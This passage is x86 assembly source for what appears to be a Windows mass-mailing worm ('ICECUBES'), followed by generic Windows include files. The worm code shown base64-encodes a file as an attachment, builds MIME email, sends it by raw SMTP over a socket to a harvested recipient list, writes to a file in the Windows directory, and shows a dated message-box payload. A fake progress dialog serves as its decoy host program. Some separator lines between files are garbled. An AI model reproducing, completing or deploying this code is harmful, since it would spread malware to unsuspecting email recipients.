lea eax, [ebp + ACreateFile]

call GETAPI

mov [ebp + filehandle], eax ; save file handle

cmp eax, -1

je NoBase64Encode

GetSourceFileSize:

push 00h

push dword ptr [ebp + filehandle]

lea eax, [ebp + AGetFileSize]

call GETAPI

or eax, eax

jz NoBase64Encode

mov [ebp + filesize], eax; get file size

AllocateSourceMemory:

add eax, 02h

push eax

push 00h

lea eax, [ebp + AGlobalAlloc]

call GETAPI

or eax, eax

jz NoBase64Encode ; not enough memory?

mov [ebp + smHnd], eax; sourcememory handle

AllocateDestinationMemory:

mov eax, [ebp + filesize]

xor edx, edx

mov ecx, 02h

mul ecx

push eax

push 00h

lea eax, [ebp + AGlobalAlloc]

call GETAPI

or eax, eax

jz NoBase64Encode ; not enough memory?

mov [ebp + dmHnd], eax; destinationmemory handle

ReadSourceFile:

mov [ebp + bytesread], 00h

push 00h

lea eax, [ebp + bytesread]

push eax

push [ebp + filesize]

push dword ptr [ebp + smHnd]

push dword ptr [ebp + filehandle]

lea eax, [ebp + AReadFile]

call GETAPI

mov eax, dword ptr [ebp + bytesread]

or eax, eax

jz NoBase64Encode; nothing read ?

CloseSourceFile:

push dword ptr [ebp + filehandle] ; close the file

lea eax, [ebp + ACloseHandle]

call GETAPI

EncodeSourceData:

mov eax, dword ptr [ebp + smHnd]

mov edx, dword ptr [ebp + dmHnd]

mov ecx, dword ptr [ebp + filesize]

call BASE64_ENCODER ; encode into Base64

mov [ebp + encodedsize], ecx

NoBase64Encode:

ret

PREPARE_ATTACHMENT endp

;=========================[ ic-ws_b64encoder.inc ]==========================;

BASE64_ENCODER proc

; in: eax address of data to encode

; edx address to put encoded data

; ecx size of data to encode

;

; out: ecx size of encoded data

;

CheckFileSize:

push eax

push edx

push ecx

mov eax, ecx

xor edx, edx

mov ecx, 03h

div ecx

pop ecx

or edx, edx

jz EncodeBase64

AddTwoBytes:

cmp edx, 01h

jne AddOneByte

add ecx, 02h

jmp EncodeBase64

AddOneByte:

add ecx, 01h

EncodeBase64:

pop edx

pop eax

xor esi, esi

lea edi, [ebp + encTable]

push ebp

xor ebp, ebp

BaseLoop:

xor ebx, ebx

mov bl, byte ptr [eax]

shr bl, 2

and bl, 00111111b

mov bh, byte ptr [edi+ebx]

mov byte ptr [edx+esi], bh

inc esi

mov bx, word ptr [eax]

xchg bl, bh

shr bx, 4

xor bh, bh

and bl, 00111111b

mov bh, byte ptr [edi+ebx]

mov byte ptr [edx+esi], bh

inc esi

inc eax

mov bx,word ptr [eax]

xchg bl, bh

shr bx, 6

xor bh, bh

and bl, 00111111b

mov bh, byte ptr [edi+ebx]

mov byte ptr [edx+esi], bh

inc esi

inc eax

xor ebx, ebx

mov bl, byte ptr [eax]

and bl, 00111111b

mov bh, byte ptr [edi+ebx]

mov byte ptr [edx+esi], bh

inc esi

inc eax

inc ebp

cmp ebp, 24

ja AddEndOfLine

inc ebp

AddedEndOfLine:

sub ecx, 3

or ecx, ecx

jnz BaseLoop

mov word ptr [edx+esi], 0a0dh

add esi, 2

mov ecx, esi

pop ebp

ret

AddEndOfLine:

xor ebp, ebp

mov word ptr [edx+esi], 0a0dh

add esi, 2

jmp AddedEndOfLine

BASE64_ENCODER endp

;=======================[ ic-ws_write_to_file.inc ]=========================;

WRITE_TO_FILE proc

StoreBuffer:

push esi

push ecx

SetEmailDropDir:

call SET_WINDIR

CreateEmailDrop:

push 0; template handle=0

push 20h; attributes=any file

push 04h; type= existing file

push 0; security option = 0

push 1; shared for read

push 80000000h or 40000000h; generic read write

lea eax, [ebp + passwordfile]

push eax; offset file name

lea eax, [ebp + ACreateFile]

call GETAPI

mov [ebp + filehandle], eax; save file handle

cmp eax, -1

je BufferError

SetDropPointer:

push 2

push 0

push 0

push dword ptr [ebp + filehandle]; filehandle

lea eax, [ebp + ASetFilePointer]

call GETAPI

pop ecx

pop esi

WriteBuffer:

push 0h

lea eax, [ebp + writtenbytes]

push eax

push ecx; push buffersize

push esi; push offset buffer

push dword ptr [ebp + filehandle]

lea eax, [ebp + AWriteFile]

call GETAPI

CloseBufferFile:

push dword ptr [ebp + filehandle]

lea eax, [ebp + ACloseHandle]

call GETAPI

ret

BufferError:

pop ecx

pop esi

ret

WRITE_TO_FILE endp

;============================[ ic-send_mail.inc ]============================;

SEND_MAIL proc

GetAllApiAddresses:

call GET_WSOCK32_BASE_ADDRESS

call GET_USER32_BASE_ADDRESS

call PREPARE_ATTACHMENT

mov eax, [ebp + filehandle]

cmp eax, -1; attachment error

je SendError

AllocateEmailBufferMemory:

mov eax, [ebp + encodedsize]

mov ecx, 02h

mul ecx

push eax

push 00h

lea eax, [ebp + AGlobalAlloc]

call GETAPI

or eax, eax

jz SendError; mem for email

mov [ebp + email_buffer_address], eax; buffer

SendMailFromTag:

mov eax, dword ptr [ebp + fromaddress]

mov ecx, dword ptr [ebp + fromsize]

call SendCommand

call ReceiveReply

SendRcptToTags:

xor ecx, ecx

mov [ebp + totalrcptsize], 00h

RcptSendLoop:

push ecx

mov edi, [ebp + rcpt_size_address]

mov eax, ecx

mov edx, 04h

mul edx

add edi, eax

mov ecx, dword ptr [edi]

mov esi, [ebp + rcpt_buffer_address]

mov eax, [ebp + totalrcptsize]

add esi, eax

pushad

mov eax, esi

call SendCommand

call ReceiveReply

popad

add eax, ecx

mov [ebp + totalrcptsize], eax

pop ecx

inc ecx

mov eax, [ebp + rcptnumber]

cmp ecx, eax

jne RcptSendLoop

SendDataCommand:

lea eax, [ebp + datatag]

mov ecx, 06h

call SendCommand

call ReceiveReply

EmailBody_EmailId:

mov [ebp + email_size], 00h

mov edi, [ebp + email_buffer_address]

lea esi, [ebp + emailid]

mov ecx, 21d

add [ebp + email_size], ecx

rep movsb

EmailBody_EmailFrom:

cmp [ebp + fromstatus], 01h

jne EmailBody_MakeEmailFrom

mov esi, [ebp + mimefrom_address]

mov ecx, [ebp + mimefromsize]

add [ebp + email_size], ecx

rep movsb

jmp EmailBody_EmailTo

EmailBody_MakeEmailFrom:

lea esi, [ebp + fromtag]

mov ecx, 05h

add [ebp + email_size], ecx

rep movsb

mov esi, dword ptr [ebp + fromaddress]

add esi, 11d

mov ecx, dword ptr [ebp + fromsize]

sub ecx, 11d

add [ebp + email_size], ecx

rep movsb

EmailBody_EmailTo:

cmp [ebp + tostatus], 01h

jne EmailBody_MakeEmailTo

mov esi, [ebp + mimeto_address]

mov ecx, [ebp + mimetosize]

add [ebp + email_size], ecx

rep movsb

jmp EmailBody_EmailStartPart

EmailBody_MakeEmailTo:

lea esi, [ebp + totag]

mov ecx, 03h

add [ebp + email_size], ecx

rep movsb

xor ecx, ecx

mov [ebp + totalrcptsize], 00h

RcptStringLoop:

push ecx

push edi

mov edi, [ebp + rcpt_size_address]

mov eax, ecx

mov edx, 04h

mul edx

add edi, eax

mov ecx, dword ptr [edi]

pop edi

push ecx

mov esi, [ebp + rcpt_buffer_address]

mov eax, [ebp + totalrcptsize]

add esi, eax

add esi, 08h

sub ecx, 08h

add [ebp + email_size], ecx

rep movsb

pop ecx

add eax, ecx

mov [ebp + totalrcptsize], eax

pop ecx

inc ecx

mov eax, [ebp + rcptnumber]

cmp ecx, eax

jne RcptStringLoop

EmailBody_EmailStartPart:

lea esi, [ebp + emailstart]

mov ecx, emailend-emailstart

add [ebp + email_size], ecx

rep movsb

EmailBody_EmailAttachement:

mov esi, dword ptr [ebp + dmHnd]

mov ecx, [ebp + encodedsize]

add [ebp + email_size], ecx

rep movsb

EmailBody_EmailEndPart:

lea esi, [ebp + emailtail]

mov ecx, 17d

add [ebp + email_size], ecx

rep movsb

EmailBody_EndTag:

lea esi, [ebp + endtag]

mov ecx, 05h

add [ebp + email_size], ecx

rep movsb

SendEmailBody:

mov eax, [ebp + email_buffer_address]

mov ecx, [ebp + email_size]

call SendCommand

call ReceiveReply

MessageBoxDay:

lea eax, [ebp + timedate]

push eax

lea eax, [ebp + AGetSystemTime]

call GETAPI

xor eax, eax

mov ax, word ptr [ebp + timedate.wMonth]

cmp ax, 07h

jne SendError

mov ax, word ptr [ebp + timedate.wDay]

cmp ax, 01h

jne SendError

MessageBoxPayload:

mov eax, 0040h

push eax

lea eax, [ebp + windowtitle]

push eax

lea eax, [ebp + msgmessage]

push eax

push 00h

lea eax, [ebp + AMessageBox]

call GETUAPI

SendError:

ret

;-----------------------------[ send routine ]------------------------------;

SendCommand:

push eax

push 0h

push ecx

push eax

push dword ptr [ebp + socketh]

lea eax, [ebp + ASend]

call GETWAPI

cmp eax, -1

jne SendWentOk

pop eax

jmp SendCommand

SendWentOk:

pop eax

ret

;--------------------------[ receive routine ]------------------------------;

ReceiveReply:

push LARGE 0

push LARGE 60

lea eax, [ebp + recvbuffer]

push eax

push dword ptr [ebp + socketh]

lea eax, [ebp + ARecv]

call GETWAPI; call the api

cmp eax, -1

je ReceiveReply

ret

SEND_MAIL endp

;****************************************************************************;

Leap:

.code

OriginalHost:

push 0

call GetModuleHandleA

mov hInst, eax

CreateProgressWindow:

push 00h

push offset MYDIALOG_0

push 00h

push 102

push hInst

call DialogBoxParamA

CreateMainWindow:

push 00h

push offset MYDIALOG_1

push 00h

push 103

push hInst

call DialogBoxParamA

Leave:

push 0

call ExitProcess

;============================[ ic-host_code.inc ]============================;

MYDIALOG_0 proc handle, umsg, wparam, lparam: dword

CheckParameter:

cmp [umsg], WM_INITDIALOG

je CenterDlg

cmp [umsg], WM_DESTROY

je Exit

cmp [umsg], WM_CLOSE

je Exit

cmp flag, 01h

je CreateProgressThread

cmp flag, 02h

je Exit

xor eax, eax

ret

CenterDlg:

push offset dlgrect

push handle

call GetWindowRect

call GetDesktopWindow

push offset desktoprect

push eax

call GetWindowRect

push 00h

mov eax, dlgrect.rcBottom

sub eax, dlgrect.rcTop

mov dlgheight, eax

push eax; height

mov eax, dlgrect.rcRight

sub eax, dlgrect.rcLeft

mov dlgwidth, eax; width

push eax

mov eax, desktoprect.rcBottom

sub eax, dlgheight

shr eax, 1

push eax; bottom

mov eax, desktoprect.rcRight

sub eax, dlgwidth

shr eax, 1

push eax; top

push handle; handle

call MoveWindow; move to center

mov flag, 01h

xor eax, eax

ret

CreateProgressThread:

push offset threadid

push 00h

push handle

push offset PROGRESS

push 00h

push 00h

call CreateThread

mov flag, 00h

xor eax, eax

ret

Exit:

push wparam

push handle

call EndDialog

mov eax, 01h

ret

MYDIALOG_0 endp

MYDIALOG_1 proc handle, umsg, wparam, lparam: dword

CheckParameter1:

cmp [umsg], WM_INITDIALOG

je CenterDlg1

cmp [umsg], WM_DESTROY

je Exit1

cmp [umsg], WM_CLOSE

je Exit1

cmp [umsg], WM_COMMAND

je CheckCommand

cmp [umsg], WM_VSCROLL

je SpinButtonClick

cmp initflag, 01h

je InitValues

xor eax, eax

ret

CheckCommand:

cmp [wparam], 1009

je Exit

cmp [wparam], 1014

je SetOkFlag

xor eax, eax

ret

SpinButtonClick:

xor eax, eax

mov ecx, [wparam]

rol ecx, 16

mov ax, cx

mov ecx, pastvalue

cmp ecx, eax

jge PressedUp

PressedDown:

mov pastvalue, eax

cmp doneflag, 00h

jne Reset

cmp currentvalue, '0'

je DontDecrease

dec byte ptr currentvalue

DontDecrease:

push offset currentvalue

push 00h

push WM_SETTEXT

push 1003

push handle

call SendDlgItemMessageA

mov doneflag, 01h

xor eax, eax

ret

PressedUp:

mov pastvalue, eax

cmp currentvalue, '9'

je Reset

cmp doneflag, 00h

jne Reset

inc byte ptr currentvalue

push offset currentvalue

push 00h

push WM_SETTEXT

push 1003

push handle

call SendDlgItemMessageA

mov doneflag, 01h

xor eax, eax

ret

Reset:

mov doneflag, 00h

xor eax, eax

ret

SetOkFlag:

mov okflag, 01h

jmp Exit

CenterDlg1:

push offset dlgrect

push handle

call GetWindowRect

call GetDesktopWindow

push offset desktoprect

push eax

call GetWindowRect

push 00h

mov eax, dlgrect.rcBottom

sub eax, dlgrect.rcTop

mov dlgheight, eax

push eax; height

mov eax, dlgrect.rcRight

sub eax, dlgrect.rcLeft

mov dlgwidth, eax; width

push eax

mov eax, desktoprect.rcBottom

sub eax, dlgheight

shr eax, 1

push eax; bottom

mov eax, desktoprect.rcRight

sub eax, dlgwidth

shr eax, 1

push eax; top

push handle; handle

call MoveWindow; move to center

mov initflag, 01h

xor eax, eax

ret

InitValues:

mov initflag, 00h

call SendDlgItemMessageA, handle, 1004, CB_RESETCONTENT, 00h,00h

call SendDlgItemMessageA, handle, 1004, 143h, 00h, offset value11

call SendDlgItemMessageA, handle, 1004, 143h, 00h, offset value12

call SendDlgItemMessageA, handle, 1004, 143h, 00h, offset value13

call SendDlgItemMessageA, handle, 1004, 143h, 00h, offset value14

call SendDlgItemMessageA, handle, 1004, CB_SETCURSEL, 00h, 01h

call SendDlgItemMessageA, handle, 1003, WM_SETTEXT, 00h, offset currentvalue

call SendDlgItemMessageA, handle, 1005, WM_SETTEXT, 00h, offset value3

call SendDlgItemMessageA, handle, 1008, WM_SETTEXT, 00h, offset value4

call SendDlgItemMessageA, handle, 1000, 00F5h, 00h,00h

call SendDlgItemMessageA, handle, 1001, 00F5h, 00h,00h

call SendDlgItemMessageA, handle, 1006, 00F5h, 00h,00h

call SendDlgItemMessageA, handle, 1010, 00F5h, 00h,00h

call SendDlgItemMessageA, handle, 1013, 00F5h, 00h,00h

xor eax, eax

ret

Exit1:

push wparam

push handle

call EndDialog

mov eax, 01h

ret

MYDIALOG_1 endp

PROGRESS proc handle: dword

ClearProgressBar:

push 00h

push 00h

push PBM_SETPOS

push 105

push handle

call SendDlgItemMessageA

xor eax, eax

xor ecx, ecx

LittleLoop:

inc ecx

cmp ecx, 100000h

jne LittleLoop

ProgressLoop:

inc eax

push 00h

push eax

push PBM_SETPOS

push 105

push handle

call SendDlgItemMessageA

xor ecx, ecx

cmp eax, 99d

jne LittleLoop

ProgressDone:

mov flag, 02h

push threadid

call CloseHandle

ret

PROGRESS endp

;============================================================================;

end Start

end

??????????????????????????????ěICECUBES.ASM]??????????????????????????????????[MYINC.INC]??LPVOIDtypedefDWORD;long ptr to buffer

BOOLtypedef DWORD;boolean variable

HANDLEtypedef DWORD;unspecified handle

LPSTRtypedef DWORD;long ptr to string

LPBYTEtypedef DWORD;long ptr to byte

ACHARtypedefBYTE;ansi character

CHARtextequ<ACHAR>;ansi char type

CHAR_equ1;ansi char size

CREATE_DEFAULT_ERROR_MODEequ04000000h

SECURITY_ATTRIBUTES_equ 4+4+4

SECURITY_ATTRIBUTESstruct

sa_nLengthDWORD SECURITY_ATTRIBUTES_ ;structure size

sa_lpSecurityDescriptorLPVOID 0;security descriptor

sa_bInheritHandleBOOL 0;handle inheritance flag

SECURITY_ATTRIBUTESends

PROCESS_INFORMATIONstruct

pi_hProcessHANDLE 0;process handle

pi_hThreadHANDLE 0;thread handle

pi_dwProcessIdDWORD 0;process id

pi_dwThreadIdDWORD 0;thread id

PROCESS_INFORMATIONends

PROCESS_INFORMATION_equ 4+4+4+4

STARTUPINFOstruct

si_cbDWORD 0;structure size

si_lpReservedLPSTR 0;(reserved)

si_lpDesktopLPSTR 0;desktop name

sl_lpTitleLPSTR 0;console window title

si_dwXDWORD 0;window origin (column)

si_dwYDWORD 0;window origin (row)

si_dwXSizeDWORD 0;window width

si_dwYSizeDWORD 0;window height

si_dwXCountCharsDWORD 0;screen buffer width

si_dwYCountCharsDWORD 0;screen buffer height

si_dwFillAttributeDWORD 0;console window initialization

si_dwFlagsDWORD 0;structure member flags

si_wShowWindowWORD 0;ShowWindow() parameter

si_cbReserved2WORD 0;(reserved)

si_lpReserved2LPBYTE 0;(reserved)

si_hStdInputHANDLE 0;standard input handle

si_hStdOutputHANDLE 0;standard output handle

si_hStdErrorHANDLE 0;standard error handle

STARTUPINFOends

STARTUPINFO_equ 4+4+4+4+4+4+4+4+4+4+4+4+2+2+4+4+4+4

SYSTEMTIMEstruct

wYearWORD 0;current year

wMonthWORD 0;current month (1..12)

wDayOfWeekWORD 0;day of week (0 = sunday)

wDayWORD 0;current day of the month

wHourWORD 0;current hour

wMinuteWORD 0;current minute

wSecondWORD 0;current second

wMillisecondsWORD 0;current millisecond

SYSTEMTIMEends

SYSTEMTIME_equ 2+2+2+2+2+2+2+2

;

WIN32_FIND_DATA_equ 4+8+8+8+4+4+4+4+(260*CHAR_)+(14*CHAR_)

WIN32_FIND_DATAstruct

fd_dwFileAttributesDWORD 0;file attributes

fd_ftCreationTimeDWORD 0, 0;time of file creation

fd_ftLastAccessTimeDWORD 0, 0;time of last file access

fd_ftLastWriteTimeDWORD 0, 0;time of last write access

fd_nFileSizeHighDWORD 0;high-order word of file size

fd_nFileSizeLowDWORD 0;low-order word of file size

fd_dwReserved0DWORD 0;(reserved)

fd_dwReserved1DWORD 0;(reserved)

fd_cFileNameCHAR 260 dup(0) ;matching file name

fd_cAlternateFileNameCHAR 14 dup(0);8.3 alias name

WIN32_FIND_DATAends

;

????????????????????????????????[MYINC.INC]?????????????????????????????????[WINDOWS.INC]??;*************************************************************************

;

; WINDOWS.INC - Windows assembly language structures & constants

;

;*************************************************************************

;

;

; C/C++ Run Time Library - Version 7.0

;

; Copyright (c) 1985, 1996 by Borland International

; All Rights Reserved.

;

;

; Conditional Block includes: (True states)

; NOTEXT - don't include TextMetric struc & text drawing modes & stock objs.

; NORASTOPS - don't include binary and ternary raster ops.

; NOVK - don't include virtual key definitions

; NOMB - don't include message box definitions

; NOWM - don't include window messages

;

;

FALSE = 0

TRUE = 1

NULL = 0

;*******************************************************************

;

; Misc EQU's

;

;*******************************************************************

SB_SETTEXTAequWM_USER+01

SB_GETTEXTAequWM_USER+02

SB_GETTEXTLENGTHAequWM_USER+03

SB_SETPARTSequWM_USER+04

SB_GETPARTSequWM_USER+06

SB_GETBORDERSequWM_USER+07

SB_SETMINHEIGHTequWM_USER+08

SB_SIMPLEequWM_USER+09

SB_GETRECTequWM_USER+10

SB_SETTEXTWequWM_USER+11

SB_GETTEXTLENGTHWequWM_USER+12

SB_GETTEXTWequWM_USER+13

GCL_MENUNAME equ -8

GCL_HBRBACKGROUND equ -10

GCL_HCURSOR equ -12

GCL_HICON equ -14

GCL_HMODULE equ -16

GCL_CBWNDEXTRA equ -18

GCL_CBCLSEXTRA equ -20

GCL_WNDPROC equ -24

GCL_STYLE equ -26

PBM_SETRANGE equ WM_USER+1

PBM_SETPOS equ WM_USER+2

PBM_DELTAPOS equ WM_USER+3

PBM_SETSTEP equ WM_USER+4

PBM_STEPIT equ WM_USER+5

ICON_SMALL equ 0

DEFAULT_PITCH equ 0

DEFAULT_QUALITY equ 0

OEM_CHARSET equ 255

CLIP_CHARACTER_PRECIS equ 1

CLIP_DEFAULT_PRECIS equ 0

OUT_DEFAULT_PRECIS equ 0

;*******************************************************************

;

; Window Class

;

;*******************************************************************

DLGWINDOWEXTRA equ 30

WNDCLASSEX STRUCT

wc_cbSize DWORD ?

wc_style DWORD ?

wc_lpfnWndProc DWORD ?

wc_cbClsExtra DWORD ?

wc_cbWndExtra DWORD ?

wc_hInstance DWORD ?

wc_hIcon DWORD ?

wc_hCursor DWORD ?

wc_hbrBackground DWORD ?

wc_lpszMenuName DWORD ?

wc_lpszClassName DWORD ?

wc_hIconSm DWORD ?

WNDCLASSEX ENDS

;*******************************************************************

;

; Message Structure

;

;*******************************************************************

MSG STRUCT

msg_hwnd DWORD ?

msg_message DWORD ?

msg_wParam DWORD ?

msg_lParam DWORD ?

msg_time DWORD ?

msg_pt QWORD ?

MSG ENDS

;*******************************************************************

;

; Open Filename Dialog

;

;*******************************************************************

OPENFILENAME STRUCT

of_lStructSize DWORD ?

of_hWndOwner DWORD ?

of_hInstance DWORD ?

of_lpstrFilter DWORD ?

of_lpstrCustomFilter DWORD ?

of_nMaxCustFilter DWORD ?

of_nFilterIndex DWORD ?

of_lpstrFile DWORD ?

of_nMaxFile DWORD ?

of_lpstrFileTitle DWORD ?

of_nMaxFileTitle DWORD ?

of_lpstrInitialDir DWORD ?

of_lpstrTitle DWORD ?

of_Flags DWORD ?

of_nFileOffset WORD ?

of_nFileExtension WORD ?

of_lpstrDefExt DWORD ?

of_lCustData DWORD ?

of_lpfnHook DWORD ?

of_lpTemplateName DWORD ?

OPENFILENAME ENDS

OFN_ALLOWMULTISELECT equ 00000200h

OFN_CREATEPROMPT equ 00002000h

OFN_ENABLEHOOK equ 00000020h

OFN_ENABLETEMPLATE equ 00000040h

OFN_ENABLETEMPLATEHANDLE equ 00000080h

OFN_EXPLORER equ 00080000h

OFN_EXTENSIONDIFFERENT equ 00000400h

OFN_FILEMUSTEXIST equ 00001000h

OFN_HIDEREADONLY equ 00000004h

OFN_LONGNAMES equ 00200000h

OFN_NOCHANGEDIR equ 00000008h

OFN_NODEREFERENCELINKS equ 00100000h

OFN_NOLONGNAMES equ 00040000h

OFN_NONETWORKBUTTON equ 00020000h

OFN_NOREADONLYRETURN equ 00008000h

OFN_NOTESTFILECREATE equ 00010000h

OFN_NOVALIDATE equ 00000100h

OFN_OVERWRITEPROMPT equ 00000002h

OFN_PATHMUSTEXIST equ 00000800h

OFN_READONLY equ 00000001h

OFN_SHAREAWARE equ 00004000h

OFN_SHOWHELP equ 00000010h

OFN_SHAREFALLTHROUGH equ 2

OFN_SHARENOWARN equ 1

OFN_SHAREWARN equ 0

;*******************************************************************

;

; List View Control

;

;*******************************************************************

LVM_GETITEM equ LVM_FIRST + 5

LVM_GETITEMW equ LVM_FIRST + 75

LVM_SETITEM equ LVM_FIRST + 6

LVM_SETITEMW equ LVM_FIRST + 76

LVM_INSERTITEM equ LVM_FIRST + 7

LVM_INSERTITEMW equ LVM_FIRST + 77

LVM_DELETEITEM equ LVM_FIRST + 8

LVM_DELETEALLITEMS equ LVM_FIRST + 9

LVM_GETCALLBACKMASK equ LVM_FIRST + 10

LVM_FIRST equ 1000h

LVM_SETCALLBACKMASK equ LVM_FIRST + 11

LVM_GETITEMRECT equ LVM_FIRST + 14

LVM_SETITEMPOSITION equ LVM_FIRST + 15

LVM_GETITEMPOSITION equ LVM_FIRST + 16

LVM_GETSTRINGWIDTH equ LVM_FIRST + 17

LVM_GETSTRINGWIDTHW equ LVM_FIRST + 87

LVCF_FMT equ 0001h

LVCF_WIDTH equ 0002h

LVCF_TEXT equ 0004h

LVCF_SUBITEM equ 0008h

LVCFMT_LEFT equ 0000h

LVCFMT_RIGHT equ 0001h

LVCFMT_CENTER equ 0002h

LVCFMT_JUSTIFYMASK equ 0003h

LVM_GETCOLUMN equ LVM_FIRST + 25

LVM_GETCOLUMNW equ LVM_FIRST + 95

LVM_SETCOLUMN equ LVM_FIRST + 26

LVM_SETCOLUMNW equ LVM_FIRST + 96

LVM_INSERTCOLUMN equ LVM_FIRST + 27

LVM_INSERTCOLUMNW equ LVM_FIRST + 97

LVM_DELETECOLUMN equ LVM_FIRST + 28

LVM_GETCOLUMNWIDTH equ LVM_FIRST + 29

LVIF_TEXT equ 0001h

LVIF_IMAGE equ 0002h

LVIF_PARAM equ 0004h

LVIF_STATE equ 0008h

LV_ITEM STRUC

lvi_imask DWORD ?

lvi_iItem DWORD ?

lvi_iSubItem DWORD ?

lvi_state DWORD ?

lvi_stateMask DWORD ?

lvi_pszText DWORD ?

lvi_cchTextMax DWORD ?

lvi_iImage DWORD ?

lvi_lParam DWORD ?

lvi_iIndent DWORD ?

LV_ITEM ENDS

LV_FINDINFO STRUC

lvfi_flags DWORD ?

lvfi_psz DWORD ?

lvfi_lParam DWORD ?

lvfi_pt QWORD ?

lvfi_vkDirection DWORD ?

LV_FINDINFO ENDS

LV_HITTESTINFO STRUC

lvht_pt QWORD ?

lvht_flags DWORD ?

lvht_iItem DWORD ?

LV_HITTESTINFO ENDS

LV_COLUMN STRUC

lvc_imask DWORD ?

lvc_fmt DWORD ?

lvc_lx DWORD ?

lvc_pszText DWORD ?

lvc_cchTextMax DWORD ?

lvc_iSubItem DWORD ?

LV_COLUMN ENDS

;*******************************************************************

;

; Rectangle

;

;*******************************************************************

RECT struc

rcLeft dd ?

rcTop dd ?

rcRight dd ?

rcBottom dd ?

RECT ends

;*******************************************************************

;

; Window Class structure

;

;*******************************************************************

WNDCLASS struc

clsStyle dw ? ; class style

clsLpfnWndProc dd ?

clsCbClsExtra dw ?

clsCbWndExtra dw ?

clsHInstance dw ? ; instance handle

clsHIcon dw ? ; class icon handle

clsHCursor dw ? ; class cursor handle

clsHbrBackground dw ? ; class background brush

clsLpszMenuName dd ? ; menu name

clsLpszClassName dd ? ; far ptr to class name

WNDCLASS ends

IFNDEF NOTEXT

TEXTMETRIC struc

tmHeight dw ?

tmAscent dw ?

tmDescent dw ?

tmIntLeading dw ?

tmExtLeading dw ?

tmAveCharWidth dw ?

tmMaxCharWidth dw ?

tmWeight dw ?

tmItalic db ?

tmUnderlined db ?

tmStruckOut db ?

tmFirstChar db ?

tmLastChar db ?

tmDefaultChar db ?

tmBreakChar db ?

tmPitch db ?

tmCharSet db ?

tmOverhang dw ?

tmAspectX dw ?

tmAspectY dw ?

TEXTMETRIC ends

LF_FACESIZE EQU 32

LOGFONT struc

lfHeight dw ?

lfWidth dw ?

lfEscapement dw ?

lfOrientation dw ?

lfWeight dw ?

lfItalic db ?

lfUnderline db ?

lfStrikeOut db ?

lfCharSet db ?

lfOutPrecision db ?

lfClipPrecision db ?

lfQuality db ?

lfPitchAndFamily db ?

lfFaceName db LF_FACESIZE dup(?)

LOGFONT ends

LOGBRUSH struc

lbStyle dw ?

lbColor dd ?

lbHatch dw ?

LOGBRUSH ends

;

; Text Drawing modes

;

TRANSPARENT = 1

OPAQUE = 2

;

; Mapping Modes

;

MM_TEXT = 1

MM_LOMETRIC = 2

MM_HIMETRIC = 3

MM_LOENGLISH = 4

MM_HIENGLISH = 5

MM_TWIPS = 6

MM_ISOTROPIC = 7

MM_ANISOTROPIC = 8

;

; Coordinate Modes

;

ABSOLUTE = 1

RELATIVE = 2

;

; Stock Logical Objects

;

WHITE_BRUSH = 0

LTGRAY_BRUSH = 1

GRAY_BRUSH = 2

DKGRAY_BRUSH = 3

BLACK_BRUSH = 4

NULL_BRUSH = 5

HOLLOW_BRUSH = 5

WHITE_PEN = 6

BLACK_PEN = 7

NULL_PEN = 8

DOT_MARKER = 9

OEM_FIXED_FONT = 10

ANSI_FIXED_FONT = 11

ANSI_VAR_FONT = 12

SYSTEM_FONT = 13

DEVICE_DEFAULT_FONT = 14

DEFAULT_PALETTE = 15

SYSTEM_FIXED_FONT = 16

ENDIF

;

; Brush Styles

;

BS_SOLID = 0

BS_NULL = 1

BS_HOLLOW = BS_NULL

BS_HATCHED = 2

BS_PATTERN = 3

BS_INDEXED = 4

BS_DIBPATTERN = 5

;

; Hatch Styles

;

HS_HORIZONTAL = 0 ; -----

HS_VERTICAL = 1 ; |||||

HS_FDIAGONAL = 2 ; \\\\HS_BDIAGONAL = 3 ; /////

HS_CROSS = 4 ; +++++

HS_DIAGCROSS = 5 ; xxxxx

;

; Pen Styles

;

PS_SOLID = 0

PS_DASH = 1 ; -------

PS_DOT = 2 ; .......

PS_DASHDOT = 3 ; _._._._

PS_DASHDOTDOT = 4 ; _.._.._

PS_NULL = 5

PS_INSIDEFRAME = 6

;

; Device Parameters for GetDeviceCaps()

;

DRIVERVERSION =0 ; Device driver version

TECHNOLOGY =2 ; Device classification

HORZSIZE =4 ; Horizontal size in millimeters

VERTSIZE =6 ; Vertical size in millimeters

HORZRES =8 ; Horizontal width in pixels

VERTRES =10 ; Vertical width in pixels

BITSPIXEL =12 ; Number of bits per pixel

PLANES =14 ; Number of planes

NUMBRUSHES =16 ; Number of brushes the device has

NUMPENS =18 ; Number of pens the device has

NUMMARKERS =20 ; Number of markers the device has

NUMFONTS =22 ; Number of fonts the device has

NUMCOLORS =24 ; Number of colors the device supports

PDEVICESIZE =26 ; Size required for device descriptor

CURVECAPS =28 ; Curve capabilities

LINECAPS =30 ; Line capabilities

POLYGONALCAPS =32 ; Polygonal capabilities

TEXTCAPS =34 ; Text capabilities

CLIPCAPS =36 ; Clipping capabilities

RASTERCAPS =38 ; Bitblt capabilities

ASPECTX =40 ; Length of the X leg

ASPECTY =42 ; Length of the Y leg

ASPECTXY =44 ; Length of the hypotenuse

LOGPIXELSX =88 ; Logical pixels/inch in X

LOGPIXELSY =90 ; Logical pixels/inch in Y

SIZEPALETTE =104 ; Number of entries in physical palette

NUMRESERVED =106 ; Number of reserved entries in palette

COLORRES =108 ; Actual color resolution

;

ifndef NOGDICAPMASKS

;

; Device Capability Masks:

;

; Device Technologies

DT_PLOTTER = 0 ; /* Vector plotter */

DT_RASDISPLAY = 1 ; /* Raster display */

DT_RASPRINTER = 2 ; /* Raster printer */

DT_RASCAMERA = 3 ; /* Raster camera */

DT_CHARSTREAM = 4 ; /* Character-stream, PLP */

DT_METAFILE = 5 ; /* Metafile, VDM */

DT_DISPFILE = 6 ; /* Display-file */

;

; Curve Capabilities

CC_NONE = 0 ; /* Curves not supported */

CC_CIRCLES = 1 ; /* Can do circles */

CC_PIE = 2 ; /* Can do pie wedges */

CC_CHORD = 4 ; /* Can do chord arcs */

CC_ELLIPSES = 8 ; /* Can do ellipese */

CC_WIDE = 16 ; /* Can do wide lines */

CC_STYLED = 32 ; /* Can do styled lines */

CC_WIDESTYLED = 64 ; /* Can do wide styled lines */

CC_INTERIORS = 128; /* Can do interiors */

;

; Line Capabilities

LC_NONE = 0 ; /* Lines not supported */

LC_POLYLINE = 2 ; /* Can do polylines */

LC_MARKER = 4 ; /* Can do markers */

LC_POLYMARKER = 8 ; /* Can do polymarkers */

LC_WIDE = 16 ; /* Can do wide lines */

LC_STYLED = 32 ; /* Can do styled lines */

LC_WIDESTYLED = 64 ; /* Can do wide styled lines */

LC_INTERIORS = 128; /* Can do interiors */

;

